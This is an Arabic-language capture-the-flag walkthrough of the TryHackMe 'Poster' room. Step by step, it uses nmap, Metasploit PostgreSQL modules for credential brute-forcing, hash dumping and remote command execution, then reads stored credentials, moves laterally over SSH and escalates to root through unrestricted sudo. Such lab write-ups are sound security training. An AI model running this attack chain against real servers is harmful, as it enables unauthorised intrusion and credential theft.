TryHackMe|Poster WriteUp\Walkthrough (Arabic)
بسم الله
اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:
رابط التحدي: https://tryhackme.com/r/room/poster
====================================================
كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا 3 بورتات 22 و 80 و 5432
أول وثاني سؤال سأل عن اسم الـRDBMS وعلى أي بورت؟ البورت هي 5432 واسم نظام قاعدة البيانات هو postgresql
بعد كذا بنبدأ نشتغل باستخدام Metasploit ونجمع المعلومات اللي يبغاها، أول شيء نشغل Metasploit
msfconsole -q
بما إننا نبغى نجمع معلومات فرح نبحث عن auxiliary تصير الكوماند
search postgre type:auxiliary
بنستخدم رقم 4، ثم نعدل على الـoptions
setg rhosts IP
هنا استخدمت setg عشان يصير كل مرة نستخدم module جديدة يحط هذه القيمة بدون ما أدخلها أنا كل مرة
set verbose false
run
لما نشغلها بيعطيني اسم المستخدم postgres وكلمة السر له. بكذا يكون جاوبنا على رابع وخامس سؤال
بعد كذا يبغى الـversion نشغل نفس الكوماند اللي بالأعلى search postgre type:auxiliary، ثم نختار 6
use 6
setg password *******
run
ثم بيطبع لنا الـversion
وبكذا جاوبنا على السؤالين اللي بعدها
بعد كذا يبغى الـhashes نشغل نفس الكوماند اللي بالأعلى search postgre type:auxiliary، ثم نختار 8
use 8
run
وهذه إجابة السؤالين 8 و 9
بعد كذا يبغى الـmodule اللي تساعدني على قراءة الملفات من السيرفير، نشغل نفس الكوماند اللي بالأعلى search postgre type:auxiliary، وهي بتكون رقم 5
بعدها سأل عن الـmodule اللي تسمح بتنفيذ كوماندز على السيرفير، هذه لأنها مو بس تجمع بيانات، بل تعطي وصول للسيرفيرتكون من نوع exploit، لذلك بنبحث search postgre type:exploit
نستخدم رقم 2
هنا إجابة السؤالين 10 و 11
نرجع للـmodule، نعدل على الـoptions اللي تحتاج تعديل
set lhost tun0
tun0 تُشير إلى عنوان OpenVPN على الجهاز
set rhosts IP
set password *****
run
بنحصل على command shell، نضغط من الكيبورد على ctrl + z علشان نحطها بالخلفية، ثم نرقي هذه الـshell إلى meterpreter
sessions -u 1
بعد ما نحصل على الـmeterpreter، نروح لها seesions 2 ثم نروح للـhome ونشوف إذا لقينا أي فلاق
cd /home
ls
cd dark
ls
هنا عندنا ملف اسمه credentials.txt، وإذا استعرضناه cat credentials.txt بنلقى اسم المستخدم وكلمة السر للمستخدم dark.
cd ../alison
ls
وبنلقى بداخل مجلد أليسون اليوزر فلاق، لكن ما نقدر نقرأه لأن ما عندنا صلاحيات كافية. الحين بندخل على النظام باستخدام SSH كـdark
ssh dark@IP
ثم ندخل كلمة السر، ثم نسوي spawn لـbash shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
الحين بنبحث عن أي ملف ثاني تملكه أليسون، ممكن يكون فيه ملف نقدر نستغله ومن خلاله نوصل لصلاحيات نقدر من خلالها نقرأ اليوزر فلاق
find / -user alison
طلع مجموعة كبير من الملفات، وأحدها هو config.php
بالعادة ملفات الـconf يكون بداخلها معلومات مفيدة، منها اسم مستخدم وكلمة مرور مثلا، نستعرض الملف
cat /var/www/html/config.php
وبنلقى بداخله كلمة سر أليسون
su alison
بعد ما نعطيه كلمة المرور، بنصير alison، نروح للمجلد الرئيسي لها ونقرأ الفلاق
cd /home/alison
cat user.txt
الحين نبي نقرأ آخر فلاق واللي عادة يكون في الـroot home directory، فنحتاج نرفع صلاحياتنا، بنبحث ونشوف ايش الكوماندز اللي تقدر أليسون تنفذها كرووت بدون استخدام كلمة سر
sudo -l
طلع لنا إن أليسون ممكن تنفذ أي كوماند على النظام بدون أي كلمة سر، إذن بكل سهولة
sudo su
cd /root
cat root.txt
وبكذا يكون حصلنا على آخر فلاق وانتهينا من الحل، بالتوفيييق لكم 👋🏻😊.












Comments
Post a Comment